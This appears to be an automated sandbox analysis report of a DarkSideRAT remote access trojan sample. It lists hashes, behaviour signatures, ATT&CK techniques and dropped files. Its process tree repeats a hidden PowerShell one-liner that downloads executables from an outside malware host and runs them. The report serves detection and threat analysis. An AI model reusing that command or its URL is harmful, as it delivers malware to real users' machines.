darksiderat | f9431d56d8c3d913becfaf3f9ee6db00b5dc0815dab57a63d2dcd0cbafedeb7b

Analysis

max time kernel
148s
max time network
142s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
27/08/2026, 22:58

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General

Target
2026-08-27_0edf301cef60a5fd8a73b8d9d499b5ee_cobalt-strike_icedid_njrat_satacom_stealc.exe
Size 707KB
Sample260827-2xstpabc35
SHA256 f9431d56d8c3d913becfaf3f9ee6db00b5dc0815dab57a63d2dcd0cbafedeb7b
MD5 0edf301cef60a5fd8a73b8d9d499b5ee
SHA1 22707ea6edcf2232b58989dc7de87d978e0a9d95
SHA512 1e837ea3cd80d80fb3316f3ccffb4c4a043532b436891b6be496b0f6929379bb4b4f20d9211c07f8dddab704c75dbd9d97ba0be82411a46303c31151755c8f11
SSDEEP 12288:CrmvWOy/224KgVdT2lhoNtpSiG3FN78tJOgLiSHYiPnYoevGH2:Cy+Oy/KKgrT2HmG3FdCJYiPnY7vGH
TLSH
T1E1F4AE41F2F441FDD03B9139C696A21BFA763409132059DF53E4066D2FA76E0ABBB722
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

execution darksiderat trojan

Malware Config

Signatures

Family: DarkSideRAT
DarkSideRAT is a remote access trojan.
trojan darksiderat

Detects DarkSideRAT 1 IoCs

resource	yara_rule
behavioral2/files/0x001000000001c25f-26.dat	family_darksiderat

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
5	3560	powershell.exe
10	4960	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3560	powershell.exe
4960	powershell.exe

Downloads MZ/PE file 2 IoCs

flow	pid	Process
5	3560	powershell.exe
10	4960	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
3288	BK286283.exe
3112	BK398473.exe

Executes a command shell one-liner 1 TTPs 4 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1436	cmd.exe
3860	cmd.exe
4956	cmd.exe
1760	cmd.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
3560	powershell.exe
3560	powershell.exe
3560	powershell.exe
4960	powershell.exe
4960	powershell.exe
4960	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	3560	powershell.exe
Token: SeDebugPrivilege	4960	powershell.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2420 wrote to memory of 1436	2420	2026-08-27_0edf301cef60a5fd8a73b8d9d499b5ee_cobalt-strike_icedid_njrat_satacom_stealc.exe	89
PID 1436 wrote to memory of 3860	1436	cmd.exe	91
PID 2420 wrote to memory of 4956	2420	2026-08-27_0edf301cef60a5fd8a73b8d9d499b5ee_cobalt-strike_icedid_njrat_satacom_stealc.exe	93
PID 3860 wrote to memory of 3560	3860	cmd.exe	95
PID 4956 wrote to memory of 1760	4956	cmd.exe	96
PID 1760 wrote to memory of 4960	1760	cmd.exe	98
PID 3560 wrote to memory of 3288	3560	powershell.exe	99
PID 4960 wrote to memory of 3112	4960	powershell.exe	103

C:\Users\Admin\AppData\Local\Temp\2026-08-27_0edf301cef60a5fd8a73b8d9d499b5ee_cobalt-strike_icedid_njrat_satacom_stealc.exe
"C:\Users\Admin\AppData\Local\Temp\2026-08-27_0edf301cef60a5fd8a73b8d9d499b5ee_cobalt-strike_icedid_njrat_satacom_stealc.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2420
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt' -OutFile $env:TEMP\BK286283.exe; Start-Process -FilePath $env:TEMP\BK286283.exe -WindowStyle Hidden }"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1436
- - C:\Windows\system32\cmd.exe
    cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt' -OutFile $env:TEMP\BK286283.exe; Start-Process -FilePath $env:TEMP\BK286283.exe -WindowStyle Hidden }"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3860
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt' -OutFile $env:TEMP\BK286283.exe; Start-Process -FilePath $env:TEMP\BK286283.exe -WindowStyle Hidden }"
      4⤵
      Badlisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Downloads MZ/PE file
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:3560
    - - C:\Users\Admin\AppData\Local\Temp\BK286283.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BK286283.exe"
        5⤵
        Executes dropped EXE
        
        PID:3288
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=oy7DDikwUmXxyY968EPRE008.txt' -OutFile $env:TEMP\BK398473.exe; Start-Process -FilePath $env:TEMP\BK398473.exe -WindowStyle Hidden }"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4956
- - C:\Windows\system32\cmd.exe
    cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=oy7DDikwUmXxyY968EPRE008.txt' -OutFile $env:TEMP\BK398473.exe; Start-Process -FilePath $env:TEMP\BK398473.exe -WindowStyle Hidden }"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1760
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=oy7DDikwUmXxyY968EPRE008.txt' -OutFile $env:TEMP\BK398473.exe; Start-Process -FilePath $env:TEMP\BK398473.exe -WindowStyle Hidden }"
      4⤵
      Badlisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Downloads MZ/PE file
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:4960
    - - C:\Users\Admin\AppData\Local\Temp\BK398473.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BK398473.exe"
        5⤵
        Executes dropped EXE
        
        PID:3112

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 144598ea87965a833e5c847b0c3725dee5fd45304ea32c04cc6080f73f537503
MD5 d0d3fac03f88767610f5a99b8ef62534
SHA1 ea88be022253f1717dc92755386a6b006d8e1161
SHA512 22253d382bb8cd22a7219803e10bcc5d1c070aef98e01f99ac6589d6361d6571c45b89dd5ba1ff3ad4b1c8f01508873878aab9be1526b777a8ae574c3b86c57e
TLSH
T1C921AF37B3CC8714DC8A403A50CDAC1032B5C7D7409ECF6B7B84D544B42F599CE60150
MD5 SHA1 SHA512 TLSH

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BK286283.exe

Path C:\Users\Admin\AppData\Local\Temp\BK286283.exe
Size 67KB
SHA256 245c4870dbf4b2f0102835addb1780d845bd1c31d5ac2a8ac7a5dfe993d6365f
MD5 32b268f7114cd6816d3b1c0558e88f95
SHA1 1d0caf4582173eb45e0be05134ed432a21f5af55
SHA512 9b453ea4ac1ec6f216629ca16654e78f02fb61af8158eb3153e3fbecaae8e78b50c53242c4e76a93d59f3f3150392805a18892b103cd689d6814c7984b5e866b
SSDEEP 768:d8w6iBGb+IyfJoTOBPca/CCNNl1uHBNdXIBMEB44w7Fv6NDzSkzNT2L:PIyfiTOpZNiMMuw7Z6NDzPNTI
TLSH
T18363E735C9A9B13FD3199C78DE060D84DF62BC8A4784BF97A7D11CE60F92A902F1D681
MD5 SHA1 SHA512 SSDEEP TLSH

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BK398473.exe

Path C:\Users\Admin\AppData\Local\Temp\BK398473.exe
Size 277KB
SHA256 600fd59a6114e08606f4bbc881c1c156193ff01371e1144a05ca787d365e067d
MD5 d712be26fe4bbd0ee1fc9156ea74b705
SHA1 0d73d709f61dcd7d58984dd154c50b925049689c
SHA512 cf5fbb98d408768300e56b6ae809af0dfd4366c47e95ee9e40602ed4827b6f6b4b76cda089ba7561d64bf38bdc64025c9f057e92854808f0b5cf790c1e19868e
SSDEEP 3072:cHg0HbTE/QaJkcHVqJr3NPAG0geM4tO/URydJ/28S2sQdJ1:cHgETakcMJrJ3H4cdJ/B/dJ
TLSH
T1CD547369EF48AC5AD4FB98FB78112A3ED0D0543787F079EA84C2097D5A0885F17FAD90
MD5 SHA1 SHA512 SSDEEP TLSH

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memory/3560-12-0x00007FF86F430000-0x00007FF86FDD4000-memory.dmp

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memory/3560-14-0x00007FF86F430000-0x00007FF86FDD4000-memory.dmp

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memory/3560-9-0x00007FF86F430000-0x00007FF86FDD4000-memory.dmp

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memory/3560-10-0x00007FF86F430000-0x00007FF86FDD4000-memory.dmp

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memory/3560-11-0x00007FF86F430000-0x00007FF86FDD4000-memory.dmp

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memory/3560-0-0x00007FF86F5BF000-0x00007FF86F5C0000-memory.dmp

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memory/3560-13-0x00007FF86F430000-0x00007FF86FDD4000-memory.dmp

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memory/3560-8-0x00007FF86F430000-0x00007FF86FDD4000-memory.dmp

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memory/3560-15-0x00007FF86F430000-0x00007FF86FDD4000-memory.dmp

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memory/3560-16-0x00007FF86F430000-0x00007FF86FDD4000-memory.dmp

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memory/3560-17-0x00007FF86F430000-0x00007FF86FDD4000-memory.dmp

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memory/3560-5-0x00007FF86F430000-0x00007FF86FDD4000-memory.dmp

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memory/3560-27-0x00007FF86F430000-0x00007FF86FDD4000-memory.dmp

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memory/3560-3-0x00007FF86F430000-0x00007FF86FDD4000-memory.dmp

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memory/3560-4-0x000002306DDE0000-0x000002306DE02000-memory.dmp

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